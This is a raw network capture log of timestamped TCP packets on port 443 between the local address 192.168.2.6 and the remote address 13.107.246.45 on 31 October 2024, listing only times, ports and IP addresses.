Oct 31, 2024 09:07:41.037221909 CET	49920	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.037237883 CET	443	49920	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.037249088 CET	49920	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.037254095 CET	443	49920	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.039863110 CET	49925	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.039895058 CET	443	49925	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.040021896 CET	49925	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.040158987 CET	49925	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.040179014 CET	443	49925	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.040477991 CET	443	49921	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.040555000 CET	443	49921	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.040604115 CET	49921	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.040668964 CET	49921	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.040684938 CET	443	49921	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.040693998 CET	49921	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.040699005 CET	443	49921	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.042808056 CET	49926	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.042831898 CET	443	49926	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.042902946 CET	49926	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.043026924 CET	49926	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.043036938 CET	443	49926	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.117458105 CET	443	49922	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.117595911 CET	443	49922	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.117665052 CET	49922	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.117847919 CET	49922	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.117857933 CET	443	49922	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.117870092 CET	49922	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.117875099 CET	443	49922	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.120806932 CET	49927	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.120834112 CET	443	49927	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.120919943 CET	49927	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.121098042 CET	49927	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.121109962 CET	443	49927	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.394470930 CET	443	49923	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.394928932 CET	49923	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.394962072 CET	443	49923	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.395359993 CET	49923	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.395365000 CET	443	49923	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.528323889 CET	443	49923	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.528472900 CET	443	49923	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.528561115 CET	49923	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.528666973 CET	49923	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.528687000 CET	443	49923	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.528696060 CET	49923	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.528701067 CET	443	49923	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.531601906 CET	49928	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.531653881 CET	443	49928	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.531743050 CET	49928	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.531929016 CET	49928	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.531943083 CET	443	49928	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.690099001 CET	443	49924	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.690577030 CET	49924	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.690596104 CET	443	49924	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.691030025 CET	49924	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.691035986 CET	443	49924	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.773108006 CET	443	49926	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.773612022 CET	49926	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.773619890 CET	443	49926	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.774070024 CET	49926	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.774074078 CET	443	49926	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.779767036 CET	443	49925	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.780016899 CET	49925	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.780036926 CET	443	49925	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.780333042 CET	49925	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.780339956 CET	443	49925	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.837219000 CET	443	49927	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.837663889 CET	49927	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.837681055 CET	443	49927	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.838073969 CET	49927	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.838078022 CET	443	49927	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.844499111 CET	443	49924	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.844520092 CET	443	49924	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.844557047 CET	443	49924	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.844573021 CET	49924	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.844611883 CET	49924	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.844806910 CET	49924	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.844824076 CET	443	49924	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.844832897 CET	49924	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.844836950 CET	443	49924	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.847415924 CET	49929	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.847454071 CET	443	49929	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.847521067 CET	49929	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.847652912 CET	49929	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.847666979 CET	443	49929	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.902695894 CET	443	49926	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.902735949 CET	443	49926	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.902796984 CET	443	49926	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.902946949 CET	49926	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.902946949 CET	49926	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.903129101 CET	49926	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.903146982 CET	443	49926	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.903157949 CET	49926	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.903162956 CET	443	49926	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.906037092 CET	49930	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.906079054 CET	443	49930	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.906162024 CET	49930	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.906338930 CET	49930	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.906354904 CET	443	49930	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.908827066 CET	443	49925	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.908900023 CET	443	49925	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.908953905 CET	49925	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.909054995 CET	49925	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.909076929 CET	443	49925	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.909086943 CET	49925	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.909092903 CET	443	49925	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.911171913 CET	49931	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.911227942 CET	443	49931	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.911303997 CET	49931	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.911427975 CET	49931	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.911447048 CET	443	49931	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.965490103 CET	443	49927	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.965605021 CET	443	49927	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.965657949 CET	49927	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.965759039 CET	49927	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.965768099 CET	443	49927	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.965778112 CET	49927	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.965781927 CET	443	49927	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.968219042 CET	49932	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.968251944 CET	443	49932	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.968450069 CET	49932	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.968450069 CET	49932	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:41.968506098 CET	443	49932	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.273271084 CET	443	49928	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.273777962 CET	49928	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.273802996 CET	443	49928	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.274246931 CET	49928	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.274251938 CET	443	49928	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.402448893 CET	443	49928	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.402518988 CET	443	49928	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.402595043 CET	49928	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.402630091 CET	443	49928	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.402650118 CET	443	49928	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.402719975 CET	49928	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.402899027 CET	49928	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.402916908 CET	443	49928	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.402926922 CET	49928	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.402935028 CET	443	49928	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.405479908 CET	49933	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.405519962 CET	443	49933	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.405592918 CET	49933	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.405735016 CET	49933	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.405749083 CET	443	49933	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.582284927 CET	443	49929	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.582855940 CET	49929	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.582891941 CET	443	49929	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.583326101 CET	49929	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.583337069 CET	443	49929	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.627018929 CET	443	49930	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.627700090 CET	49930	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.627743959 CET	443	49930	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.627988100 CET	49930	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.627995014 CET	443	49930	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.651884079 CET	443	49931	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.652431011 CET	49931	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.652468920 CET	443	49931	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.652673960 CET	49931	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.652681112 CET	443	49931	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.699817896 CET	443	49932	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.700232983 CET	49932	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.700265884 CET	443	49932	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.700676918 CET	49932	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.700687885 CET	443	49932	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.713054895 CET	443	49929	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.713136911 CET	443	49929	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.713186979 CET	49929	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.713334084 CET	49929	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.713361979 CET	443	49929	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.713376999 CET	49929	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.713386059 CET	443	49929	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.716054916 CET	49934	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.716090918 CET	443	49934	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.716171980 CET	49934	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.716288090 CET	49934	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.716300011 CET	443	49934	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.754726887 CET	443	49930	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.754757881 CET	443	49930	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.754792929 CET	443	49930	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.754863024 CET	49930	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.754904032 CET	49930	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.755099058 CET	49930	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.755110979 CET	443	49930	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.755121946 CET	49930	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.755127907 CET	443	49930	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.757906914 CET	49935	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.757927895 CET	443	49935	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.758009911 CET	49935	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.758176088 CET	49935	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.758191109 CET	443	49935	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.783691883 CET	443	49931	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.783855915 CET	443	49931	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.783915997 CET	49931	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.783998966 CET	49931	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.784024954 CET	443	49931	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.784039974 CET	49931	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.784045935 CET	443	49931	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.793911934 CET	49936	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.793967962 CET	443	49936	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.794049978 CET	49936	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.794173956 CET	49936	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.794207096 CET	443	49936	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.830521107 CET	443	49932	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.830543041 CET	443	49932	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.830615044 CET	443	49932	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.830635071 CET	49932	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.830682993 CET	49932	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.830912113 CET	49932	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.830912113 CET	49932	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.830929041 CET	443	49932	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.830950022 CET	443	49932	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.833218098 CET	49937	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.833245039 CET	443	49937	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:42.833312988 CET	49937	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.833430052 CET	49937	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:42.833446026 CET	443	49937	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.155725956 CET	443	49933	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.156258106 CET	49933	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.156287909 CET	443	49933	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.156697989 CET	49933	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.156702995 CET	443	49933	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.287581921 CET	443	49933	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.287606001 CET	443	49933	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.287648916 CET	443	49933	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.287669897 CET	49933	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.287698984 CET	49933	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.287925005 CET	49933	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.287944078 CET	443	49933	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.287954092 CET	49933	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.287961006 CET	443	49933	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.290740967 CET	49938	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.290785074 CET	443	49938	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.290869951 CET	49938	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.291043997 CET	49938	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.291059971 CET	443	49938	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.447477102 CET	443	49934	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.448004007 CET	49934	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.448035955 CET	443	49934	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.448455095 CET	49934	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.448461056 CET	443	49934	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.488692999 CET	443	49935	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.497131109 CET	49935	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.497149944 CET	443	49935	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.497792006 CET	49935	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.497797012 CET	443	49935	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.513581038 CET	443	49936	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.513978958 CET	49936	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.513993025 CET	443	49936	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.514399052 CET	49936	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.514404058 CET	443	49936	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.563972950 CET	443	49937	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.564497948 CET	49937	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.564527035 CET	443	49937	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.565021038 CET	49937	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.565026999 CET	443	49937	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.577332973 CET	443	49934	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.577363014 CET	443	49934	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.577408075 CET	443	49934	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.577445030 CET	49934	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.577518940 CET	49934	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.577732086 CET	49934	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.577732086 CET	49934	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.577768087 CET	443	49934	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.577792883 CET	443	49934	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.580545902 CET	49939	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.580580950 CET	443	49939	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.580648899 CET	49939	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.580797911 CET	49939	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.580812931 CET	443	49939	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.623667955 CET	443	49935	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.623796940 CET	443	49935	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.623867989 CET	49935	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.624054909 CET	49935	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.624066114 CET	443	49935	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.624092102 CET	49935	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.624100924 CET	443	49935	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.627125025 CET	49940	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.627140999 CET	443	49940	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.627221107 CET	49940	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.628818035 CET	49940	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.628834009 CET	443	49940	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.641520023 CET	443	49936	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.641582012 CET	443	49936	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.641633034 CET	49936	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.641647100 CET	443	49936	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.641689062 CET	443	49936	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.641737938 CET	49936	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.641849995 CET	49936	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.641849995 CET	49936	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.641859055 CET	443	49936	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.641866922 CET	443	49936	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.644145012 CET	49941	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.644176960 CET	443	49941	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.644262075 CET	49941	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.644418955 CET	49941	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.644438028 CET	443	49941	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.693721056 CET	443	49937	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.693788052 CET	443	49937	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.693857908 CET	49937	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.694067955 CET	49937	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.694088936 CET	443	49937	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.694102049 CET	49937	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.694108009 CET	443	49937	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.696846008 CET	49942	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.696865082 CET	443	49942	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:43.696954012 CET	49942	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.697114944 CET	49942	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:43.697128057 CET	443	49942	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.042517900 CET	443	49938	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.042979002 CET	49938	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.043009996 CET	443	49938	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.043488979 CET	49938	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.043494940 CET	443	49938	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.173850060 CET	443	49938	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.173937082 CET	443	49938	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.174025059 CET	49938	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.174043894 CET	443	49938	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.174062967 CET	443	49938	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.174108028 CET	49938	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.174257994 CET	49938	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.174273968 CET	443	49938	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.174283028 CET	49938	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.174288034 CET	443	49938	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.176811934 CET	49943	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.176861048 CET	443	49943	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.176949978 CET	49943	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.177089930 CET	49943	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.177117109 CET	443	49943	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.305804968 CET	443	49939	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.306332111 CET	49939	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.306379080 CET	443	49939	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.306782961 CET	49939	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.306787968 CET	443	49939	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.360647917 CET	443	49940	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.361069918 CET	49940	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.361079931 CET	443	49940	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.361625910 CET	49940	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.361630917 CET	443	49940	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.429773092 CET	443	49942	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.430171967 CET	49942	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:44.430185080 CET	443	49942	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:44.430619955 CET	49942	443	192.168.2.6	13.107.246.45
